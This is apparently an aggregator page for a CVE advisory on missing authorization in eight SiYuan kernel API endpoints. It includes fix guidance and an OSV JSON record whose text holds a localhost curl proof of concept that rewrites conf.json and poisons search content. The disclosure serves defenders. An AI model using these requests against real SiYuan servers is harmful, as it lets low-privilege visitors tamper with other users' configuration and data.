CVE-2026-45371: Github.com/siyuan note/siyuan/kernel SiYuan Publish-mode Reader Can Mutate Vulnerability
HIGHCVE-2026-45371 is a HIGH siyuan publish-mode reader can mutate vulnerability (CWE-862: Missing Authorization) affecting Github.com/siyuan note/siyuan/kernel libraries in the Go ecosystem. The issue involves siyuan publish-mode reader can mutate conf and sql index via 8 ungated apis. Remediation is available by upgrading affected packages to version 0.0.0-20260512140701-d7b77d945e0d.
CVE-2026-45371 at a Glance
How to Fix CVE-2026-45371
To remediate this vulnerability, upgrade all affected Github.com/siyuan note/siyuan/kernel dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/siyuan-note/siyuan/kernel to 0.0.0-20260512140701-d7b77d945e0d
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/siyuan-note/siyuan/kernel
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-45371, inspect your project dependencies for Github.com/siyuan note/siyuan/kernel:
inspect dependencies for github.com/siyuan-note/siyuan/kernel
Analyze the terminal output to locate any version of Github.com/siyuan note/siyuan/kernel in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260512140701-d7b77d945e0d), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Github.com/siyuan note/siyuan/kernel, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-45371 Affected Github.com/siyuan note/siyuan/kernel Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/siyuan-note/siyuan/kernel
|
Go |
< 0.0.0-20260512140701-d7b77d945e0d
|
0.0.0-20260512140701-d7b77d945e0d
|
References
Frequently Asked Questions
What is CVE-2026-45371?
Which Github.com/siyuan note/siyuan/kernel versions are affected?
What version fixes CVE-2026-45371?
Is github.com/siyuan-note/siyuan/kernel affected?
What CWE is associated with CVE-2026-45371?
How can I check Go dependencies for CVE-2026-45371?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-gmmv-4cc5-wr9r",
"modified" : "2026-05-15T23:45:43Z",
"published" : "2026-05-13T15:33:52Z",
"aliases" : [ "CVE-2026-45371" ],
"summary" : "SiYuan publish-mode Reader can mutate Conf and SQL index via 8 ungated APIs",
"details" : "### Summary\n\nSiYuan publish-mode Reader can mutate Conf and SQL index via 8 ungated APIs\n\n`POST /api/graph/getGraph`, `POST /api/graph/getLocalGraph`, `POST /api/sync/setSyncInterval`, `POST /api/storage/updateRecentDocViewTime`, `POST /api/storage/updateRecentDocCloseTime`, `POST /api/storage/updateRecentDocOpenTime`, `POST /api/storage/batchUpdateRecentDocCloseTime`, and `POST /api/search/updateEmbedBlock` are registered with `model.CheckAuth` only, omitting both `model.CheckAdminRole` and `model.CheckReadonly`. Each of them writes server-side state, including atomic rewrites of `<workspace>/conf/conf.json` via `model.Conf.Save()`. Any caller whose JWT passes `CheckAuth`, including a publish-service `RoleReader` (the role assigned to anonymous publish visitors) and a `RoleEditor` against a workspace where `Editor.ReadOnly = true`, can hit them. This is the same root-cause class as the patched `GHSA-6r88-8v7q-q4p2` and `GHSA-4j3x-hhg2-fm2x`.\n\n### Details\n\nAffected: github.com/siyuan-note/siyuan, all tags up to and including v3.6.5 (HEAD `96dfe0be`).\n\nThe router in `kernel/api/router.go` registers each endpoint below with `model.CheckAuth` only. Sibling endpoints in the same group are correctly gated, which makes the omission unambiguous:\n\n```bash\nkernel/api/router.go:87 /api/storage/updateRecentDocViewTime CheckAuth only\nkernel/api/router.go:88 /api/storage/updateRecentDocCloseTime CheckAuth only\nkernel/api/router.go:89 /api/storage/batchUpdateRecentDocCloseTime CheckAuth only\nkernel/api/router.go:90 /api/storage/updateRecentDocOpenTime CheckAuth only\nkernel/api/router.go:188 /api/search/updateEmbedBlock CheckAuth only\nkernel/api/router.go:279 /api/sync/setSyncInterval CheckAuth only\nkernel/api/router.go:400 /api/graph/getGraph CheckAuth only\nkernel/api/router.go:401 /api/graph/getLocalGraph CheckAuth only\n\n# Compare the gated siblings on adjacent lines:\nkernel/api/router.go:278 /api/sync/setSyncEnable CheckAuth, CheckAdminRole, CheckReadonly\nkernel/api/router.go:280 /api/sync/setSyncPerception CheckAuth, CheckAdminRole, CheckReadonly\nkernel/api/router.go:281 /api/sync/setSyncGenerateConflictDoc CheckAuth, CheckAdminRole, CheckReadonly\nkernel/api/router.go:398 /api/graph/resetGraph CheckAuth, CheckAdminRole, CheckReadonly\nkernel/api/router.go:399 /api/graph/resetLocalGraph CheckAuth, CheckAdminRole, CheckReadonly\n```\n\nPer-handler evidence:\n\n`kernel/api/graph.go:53` `getGraph`. Despite the verb \"get\", the body unconditionally overwrites `model.Conf.Graph.Global` from caller-supplied JSON and persists the entire workspace `conf.json`:\n\n```\ngraphConf, err := gulu.JSON.MarshalJSON(confArg)\n...\nglobal := conf.NewGlobalGraph()\ngulu.JSON.UnmarshalJSON(graphConf, global)\nmodel.Conf.Graph.Global = global // attacker-controlled write\nmodel.Conf.Save() // atomic rewrite of conf.json\n```\n\n`kernel/api/graph.go:106` `getLocalGraph`. Same pattern on `model.Conf.Graph.Local`. Note the legitimate writers `resetGraph` (`graph.go:29`) and `resetLocalGraph` (`graph.go:41`) only set the struct to its constructor default (`NewGlobalGraph()` / `NewLocalGraph()`), whereas `getGraph` / `getLocalGraph` accept the entire struct from the caller, so the unauthorized surface is strictly larger than the gated reset endpoints.\n\n`kernel/api/sync.go:597` `setSyncInterval`. Calls `model.SetSyncInterval(int(interval))` (`kernel/model/sync.go:394`) which writes `Conf.Sync.Interval`, persists `Conf.Save()`, and reschedules the sync goroutine via `planSyncAfter`. The model layer clamps the interval to `[30, 43200]`, but a Reader can still pin sync to either bound (30 s for battery and bandwidth pressure on every connected client, or 12 h to effectively suspend cloud sync without changing the UI toggle).\n\n`kernel/api/search.go:287` `updateEmbedBlock`. Calls `model.UpdateEmbedBlock(id, content)` (`kernel/model/search.go:198`), which validates only that the block type is `BlockQueryEmbed` and then forwards to `updateEmbedBlockContent` (`kernel/model/index.go:342`). That helper rewrites the SQL `blocks` row's `content` column for the given embed-block ID via `sql.UpdateBlockContentQueue`. There is no publish-access check, so any embed block ID anywhere in the workspace is writable. The SQL `content` column is what `fullTextSearchBlock` and `getEmbedBlock` read from, so a Reader can poison search results visible to other users.\n\n`kernel/api/storage.go:251,295,273,317` `updateRecentDocViewTime` / `updateRecentDocCloseTime` / `updateRecentDocOpenTime` / `batchUpdateRecentDocCloseTime`. Each rewrites the workspace recent-docs JSON file under `recentDocLock` (`kernel/model/storage.go:171,213` ...). A Reader can register any `rootID` (including IDs in publish-private notebooks) into the recent-docs list, manipulating the admin's recently-opened-documents UI and history.\n\nThe bugs have all existed since v3.6.5 (the active release tag) and the live `master` branch. Two adjacent advisories already patched the exact same shape: `GHSA-6r88-8v7q-q4p2` (`getTag` writing `Conf.Tag.Sort`) and `GHSA-4j3x-hhg2-fm2x` (`renderSprig` missing `CheckAdminRole + CheckReadonly`). Both are listed by the maintainers as occurrences \"the same root-cause class\" that has to be patched per-occurrence, so this report enumerates the remaining occurrences in one pass.\n\n### PoC\n\nSource-level reproduction. The same Docker compose lab the maintainers used for `GHSA-6r88` works here:\n\n```bash\n# 1. Authenticate as any role with CheckAuth (admin used here for convenience;\n# a publish-mode Reader JWT works equivalently).\ncurl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \\\n -H 'Content-Type: application/json' -d '{\"authCode\":\"audittest\"}' >/dev/null\n\n# 2. Read current Conf.Sync.Interval and Conf.Graph.Global from /api/system/getConf.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \\\n -H 'Content-Type: application/json' -d '{}' \\\n | python3 -c \"import json,sys;c=json.load(sys.stdin)['data']['conf'];\\\nprint('Conf.Sync.Interval BEFORE =',c['sync']['interval']);\\\nprint('Conf.Graph.Global.minRefs BEFORE =',c['graph']['global']['minRefs'])\"\n\n# 3. setSyncInterval as Reader.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/sync/setSyncInterval \\\n -H 'Content-Type: application/json' -d '{\"interval\":30}'\n\n# 4. getGraph as Reader, supplying a custom graph config struct.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/graph/getGraph \\\n -H 'Content-Type: application/json' \\\n -d '{\"k\":\"\",\"conf\":{\"minRefs\":99,\"maxBlocks\":1,\"d3\":{\"linkWidth\":99}}}'\n\n# 5. Confirm in-memory and on-disk persistence.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \\\n -H 'Content-Type: application/json' -d '{}' \\\n | python3 -c \"import json,sys;c=json.load(sys.stdin)['data']['conf'];\\\nprint('Conf.Sync.Interval AFTER =',c['sync']['interval']);\\\nprint('Conf.Graph.Global.minRefs AFTER =',c['graph']['global']['minRefs'])\"\n\ndocker exec siyuan-audit grep -oE '\\\"interval\\\":[0-9]+' /siyuan/workspace/conf/conf.json\ndocker exec siyuan-audit grep -oE '\\\"minRefs\\\":[0-9]+' /siyuan/workspace/conf/conf.json\n\n# 6. updateEmbedBlock - rewrite SQL content for any embed block ID.\ncurl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/search/updateEmbedBlock \\\n -H 'Content-Type: application/json' \\\n -d '{\"id\":\"<embed-block-id>\",\"content\":\"poisoned\"}'\n```\n\nSource-level proof, no privileged token involved:\n\n```bash\n$ grep -nE 'ginServer\\.Handle.*(getGraph|getLocalGraph|setSyncInterval|updateEmbedBlock|updateRecentDoc|batchUpdateRecentDocCloseTime)' \\\n kernel/api/router.go \\\n | grep -vE 'CheckAdminRole|CheckReadonly'\nkernel/api/router.go:87: ... /api/storage/updateRecentDocViewTime\", model.CheckAuth, ...\nkernel/api/router.go:88: ... /api/storage/updateRecentDocCloseTime\", model.CheckAuth, ...\nkernel/api/router.go:89: ... /api/storage/batchUpdateRecentDocCloseTime\", model.CheckAuth, ...\nkernel/api/router.go:90: ... /api/storage/updateRecentDocOpenTime\", model.CheckAuth, ...\nkernel/api/router.go:188: ... /api/search/updateEmbedBlock\", model.CheckAuth, ...\nkernel/api/router.go:279: ... /api/sync/setSyncInterval\", model.CheckAuth, ...\nkernel/api/router.go:400: ... /api/graph/getGraph\", model.CheckAuth, ...\nkernel/api/router.go:401: ... /api/graph/getLocalGraph\", model.CheckAuth, ...\n```\n\nStanding up the publish-mode Reader path end-to-end was not done in this audit; the source-level diff against the gated siblings and the prior advisories' fix pattern are the same evidence the maintainers accepted for `GHSA-fmh9-gpqh-g53g` and `GHSA-6r88-8v7q-q4p2` published 2026-05-08.\n\n### Impact\n\nA publish-mode Reader (default for any anonymous publish visitor) and a publish-mode Editor against a `Editor.ReadOnly = true` workspace can:\n\n1. Atomically rewrite `<workspace>/conf/conf.json` via `Conf.Save()` from `setSyncInterval`, `getGraph`, `getLocalGraph`. `Conf.Save()` rewrites the entire file, so a Reader racing with a legitimate admin save can revert unrelated configuration changes the admin made in the same window.\n2. Set the cloud sync interval to either bound of the `[30, 43200]` clamp. 30 s pins clients to the worst-case sync hammer, draining battery and bandwidth on every connected device. 43200 s effectively pauses cloud sync for the workspace without flipping the visible \"Sync enabled\" toggle, increasing the chance of data divergence between devices and decreasing the likelihood that a Reader-induced state corruption is caught quickly.\n3. Overwrite `Conf.Graph.Global` and `Conf.Graph.Local` with a caller-controlled struct, breaking graph rendering for the admin (extreme `maxBlocks`, `minRefs`, `nodeSize`, etc.). The reset endpoints at the same path are gated behind admin role specifically because the maintainers considered graph configuration a privileged setting.\n4. Poison the SQL `blocks.content` column for any embed-block ID via `updateEmbedBlock`. Search functions that read the SQL index (`fullTextSearchBlock`, `getEmbedBlock`) return the poisoned content to other users, so a Reader can plant content other users will see.\n5. Manipulate the recent-documents list seen by the admin via the four `updateRecentDoc*` writers, including registering IDs from publish-private notebooks (information disclosure plus UI manipulation).\n\nThe fix is a one-token edit per registration: add `model.CheckAdminRole` and `model.CheckReadonly` to each affected `ginServer.Handle` call, mirroring the gated siblings and the patches for `GHSA-6r88-8v7q-q4p2` and `GHSA-4j3x-hhg2-fm2x`.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/siyuan-note/siyuan/kernel"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.0.0-20260512140701-d7b77d945e0d"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-gmmv-4cc5-wr9r"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45371"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/siyuan-note/siyuan"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-285", "CWE-862" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-13T15:33:52Z",
"nvd_published_at" : "2026-05-14T19:16:38Z"
}
}